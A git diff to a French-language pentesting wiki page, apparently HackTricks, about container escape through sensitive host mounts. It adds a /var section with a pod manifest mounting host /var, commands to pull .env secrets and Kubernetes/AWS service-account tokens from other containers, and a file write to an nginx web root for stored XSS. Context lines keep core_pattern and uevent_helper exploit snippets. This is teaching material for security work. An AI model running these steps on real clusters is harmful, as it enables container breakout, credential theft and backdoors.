diff --git a/src/images/stored-xss-via-mounted-var-folder.png b/src/images/stored-xss-via-mounted-var-folder.png new file mode 100644 index 000000000..85971746d Binary files /dev/null and b/src/images/stored-xss-via-mounted-var-folder.png differ diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index c27acf844..7a780f93e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -2,11 +2,11 @@ {{#include ../../../../banners/hacktricks-training.md}} -L'exposition de `/proc` et `/sys` sans une isolation appropriée des espaces de noms introduit des risques de sécurité significatifs, y compris l'augmentation de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou accessibles par un utilisateur non autorisé, peuvent conduire à une évasion de conteneur, à une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé. +L'exposition de `/proc`, `/sys` et `/var` sans une isolation appropriée des espaces de noms introduit des risques de sécurité significatifs, y compris l'élargissement de la surface d'attaque et la divulgation d'informations. Ces répertoires contiennent des fichiers sensibles qui, s'ils sont mal configurés ou accessibles par un utilisateur non autorisé, peuvent conduire à une évasion de conteneur, à une modification de l'hôte ou fournir des informations aidant à d'autres attaques. Par exemple, le montage incorrect de `-v /proc:/host/proc` peut contourner la protection AppArmor en raison de sa nature basée sur le chemin, laissant `/host/proc` non protégé. **Vous pouvez trouver plus de détails sur chaque vulnérabilité potentielle dans** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.** -## Vulnérabilités procfs +## Vulnérabilités de procfs ### `/proc/sys` @@ -19,7 +19,7 @@ Ce répertoire permet d'accéder à la modification des variables du noyau, gén - **Exemple de test et d'exploitation** : ```bash -[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test d'accès en écriture +[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Tester l'accès en écriture cd /proc/sys/kernel echo "|$overlay/shell.sh" > core_pattern # Définir un gestionnaire personnalisé sleep 5 && ./crash & # Déclencher le gestionnaire @@ -51,7 +51,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Vérifier l'accès à modprobe - Peut conduire à une élévation de privilèges ou à un accès shell root si `/proc/sys/fs/binfmt_misc/register` est accessible en écriture. - Exploit pertinent et explication : - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc) -- Tutoriel approfondi : [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ) +- Tutoriel approfondi : [Lien vidéo](https://www.youtube.com/watch?v=WBC7hhgMvQQ) ### Autres dans `/proc` @@ -78,12 +78,12 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte - Liste les symboles exportés par le noyau et leurs adresses. - Essentiel pour le développement d'exploits du noyau, en particulier pour surmonter KASLR. -- Les informations d'adresse sont restreintes avec `kptr_restrict` défini sur `1` ou `2`. +- Les informations d'adresse sont restreintes avec `kptr_restrict` réglé sur `1` ou `2`. - Détails dans [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -- Interface avec le périphérique de mémoire du noyau `/dev/mem`. +- Interface avec le périphérique mémoire du noyau `/dev/mem`. - Historiquement vulnérable aux attaques d'élévation de privilèges. - Plus d'informations sur [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). @@ -114,11 +114,11 @@ echo b > /proc/sysrq-trigger # Redémarre l'hôte - Fournit des informations sur les points de montage dans l'espace de noms de montage du processus. - Expose l'emplacement du `rootfs` ou de l'image du conteneur. -### Vulnérabilités `/sys` +### Vulnérabilités de `/sys` #### **`/sys/kernel/uevent_helper`** -- Utilisé pour gérer les `uevents` des périphériques du noyau. +- Utilisé pour gérer les `uevents` des dispositifs du noyau. - Écrire dans `/sys/kernel/uevent_helper` peut exécuter des scripts arbitraires lors des déclenchements de `uevent`. - **Exemple d'exploitation** : %%%bash @@ -130,7 +130,7 @@ echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /ev host*path=$(sed -n 's/.*\perdir=(\[^,]\_).\*/\1/p' /etc/mtab) -#### Définit uevent_helper sur l'assistant malveillant +#### Définit uevent_helper sur le gestionnaire malveillant echo "$host_path/evil-helper" > /sys/kernel/uevent_helper @@ -148,7 +148,7 @@ cat /output %%% #### **`/sys/kernel/vmcoreinfo`** -- Fuit des adresses du noyau, compromettant potentiellement KASLR. +- Fuit les adresses du noyau, compromettant potentiellement KASLR. #### **`/sys/kernel/security`** @@ -158,12 +158,98 @@ cat /output %%% #### **`/sys/firmware/efi/vars` et `/sys/firmware/efi/efivars`** - Expose des interfaces pour interagir avec les variables EFI dans NVRAM. -- Une mauvaise configuration ou exploitation peut conduire à des ordinateurs portables brisés ou à des machines hôtes non amorçables. +- Une mauvaise configuration ou exploitation peut conduire à des ordinateurs portables bloqués ou à des machines hôtes non amorçables. #### **`/sys/kernel/debug`** - `debugfs` offre une interface de débogage "sans règles" au noyau. -- Historique de problèmes de sécurité en raison de sa nature sans restriction. +- Historique de problèmes de sécurité en raison de sa nature non restreinte. + +### Vulnérabilités de `/var` + +Le dossier **/var** de l'hôte contient des sockets d'exécution de conteneur et les systèmes de fichiers des conteneurs. Si ce dossier est monté à l'intérieur d'un conteneur, ce conteneur obtiendra un accès en lecture-écriture aux systèmes de fichiers d'autres conteneurs avec des privilèges root. Cela peut être abusé pour pivoter entre les conteneurs, provoquer un déni de service ou créer des portes dérobées dans d'autres conteneurs et applications qui s'exécutent en eux. + +#### Kubernetes + +Si un conteneur comme celui-ci est déployé avec Kubernetes : +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: pod-mounts-var +labels: +app: pentest +spec: +containers: +- name: pod-mounts-var-folder +image: alpine +volumeMounts: +- mountPath: /host-var +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "while true; do sleep 30; done;" ] +volumes: +- name: noderoot +hostPath: +path: /var +``` +À l'intérieur du conteneur **pod-mounts-var-folder** : +```bash +/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null + +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example + +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh + +/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret +JWT_SECRET=85da0 +REFRESH_TOKEN_SECRET=14ea + +/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html + +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html +/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html + +/ # echo '' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh +are/nginx/html/index2.html +``` +L'XSS a été réalisé : + +![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png) + +Notez que le conteneur NE nécessite PAS de redémarrage ou quoi que ce soit. Tous les changements effectués via le dossier monté **/var** seront appliqués instantanément. + +Vous pouvez également remplacer des fichiers de configuration, des binaires, des services, des fichiers d'application et des profils shell pour obtenir un RCE automatique (ou semi-automatique). + +##### Accès aux identifiants cloud + +Le conteneur peut lire les jetons de service K8s ou les jetons webidentity AWS, ce qui permet au conteneur d'accéder de manière non autorisée à K8s ou au cloud : +```bash +/ # cat /host-var/run/secrets/kubernetes.io/serviceaccount/token +/ # cat /host-var/run/secrets/eks.amazonaws.com/serviceaccount/token +``` +#### Docker + +L'exploitation dans Docker (ou dans les déploiements Docker Compose) est exactement la même, sauf que généralement les systèmes de fichiers des autres conteneurs sont disponibles sous un chemin de base différent : +```bash +$ docker info | grep -i 'docker root\|storage driver' +Storage Driver: overlay2 +Docker Root Dir: /var/lib/docker +``` +Les systèmes de fichiers se trouvent sous `/var/lib/docker/overlay2/`: +```bash +$ sudo ls -la /var/lib/docker/overlay2 + +drwx--x--- 4 root root 4096 Jan 9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d +drwx--x--- 4 root root 4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496 +drwx--x--- 4 root root 4096 Jan 9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f +drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2 + +``` +#### Remarque + +Les chemins réels peuvent différer selon les configurations, c'est pourquoi votre meilleur choix est d'utiliser la commande **find** pour localiser les systèmes de fichiers des autres conteneurs. ### Références